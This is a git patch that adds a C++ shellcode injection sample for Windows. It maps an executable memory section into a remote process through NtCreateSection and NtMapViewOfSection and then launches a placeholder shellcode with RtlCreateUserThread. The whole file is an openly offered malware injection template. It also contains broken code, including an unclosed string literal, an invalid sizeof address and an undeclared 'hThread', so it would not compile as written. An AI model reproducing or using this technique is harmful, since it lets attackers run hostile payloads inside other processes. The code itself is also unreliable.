From 4e49f9c021b2603d1fc5e6f0423d8a7d0f7bd48e Mon Sep 17 00:00:00 2001
From: matthieu-hackwitharts
 <74831212+matthieu-hackwitharts@users.noreply.github.com>
Date: Thu, 30 Mar 2023 09:35:22 +0200
Subject: [PATCH] Add files via upload

---
 shellcode_samples/mapview_injection.cpp | 51 +++++++++++++++++++++++++
 1 file changed, 51 insertions(+)
 create mode 100644 shellcode_samples/mapview_injection.cpp

diff --git a/shellcode_samples/mapview_injection.cpp b/shellcode_samples/mapview_injection.cpp
new file mode 100644
index 0000000..6d357c7
--- /dev/null
+++ b/shellcode_samples/mapview_injection.cpp
@@ -0,0 +1,51 @@
+#include <iostream>
+#include <Windows.h>
+
+typedef struct _OBJECT_ATTRIBUTES {	ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor;	PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
+typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID;
+
+typedef NTSTATUS(NTAPI *myNtCreateSection)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle);
+typedef NTSTATUS(NTAPI *myNtMapViewOfSection)(HANDLE SectionHandle,HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
+typedef FARPROC (WINAPI * myRtlCreateUserThread)(
+	IN HANDLE ProcessHandle,
+	IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
+	IN BOOLEAN CreateSuspended,
+	IN ULONG StackZeroBits,
+	IN OUT PULONG StackReserved,
+	IN OUT PULONG StackCommit,
+	IN PVOID StartAddress,
+	IN PVOID StartParameter OPTIONAL,
+	OUT PHANDLE ThreadHandle,
+	OUT PCLIENT_ID ClientId);
+
+int main(){
+	
+	char shellcode[] = {0x45,0x54,0x2b...,0x0}; //replace with your shellcode
+	
+	myNtCreateSection NtCreateSection = (myNtCreateSection)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtCreateSection);
+	myNtMapViewOfSection NtMapViewOfSection = (myNtMapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtMapViewOfSection");
+	
+	HANDLE section;
+	
+	NTSTATUS success_section = NtCreateSection(&section,SECTION_ALL_ACCESS,NULL,(PLARGE_INTEGER)&(sizeof(shellcode)),PAGE_EXECUTE_READWRITE,SEC_COMMIT,NULL);
+	
+	PVOID base_addr = NULL;
+	NTSTATUS success_view = NtMapViewOfSection(section,GetCurrentProcess(),&base_addr,NULL,NULL,NULL,(SIZE_T*)&(sizeof(shellcode)),ViewUnmap,NULL,PAGE_READWRITE);
+	
+	memcpy(base_addr,shellcode,sizeof(shellcode));
+	
+	HANDLE remote_proc = OpenProcess(PROCESS_ALL_ACCESS,NULL,1234);
+	NTSTATUS success_remote = NtMapViewOfSection(section,remote_proc,&base_addr,NULL,NULL,NULL,(SIZE_T*)&(sizeof(shellcode)),ViewUnmap,NULL,PAGE_EXECUTE_READ);
+	
+	HANDLE thread = NULL;
+	CLIENT_ID cid;
+	myRtlCreateUserThread RtlCreateUserThread = (myRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll.dll"),"RtlCreateUserThread");
+	RtlCreateUserThread(remote_proc, NULL, FALSE, 0, 0, 0, base_addr, 0, &hThread, &cid);
+	if (thread != NULL) {
+			WaitForSingleObject(thread, 500);
+			CloseHandle(thread);
+			return 0;
+	}
+	
+	
+}
\ No newline at end of file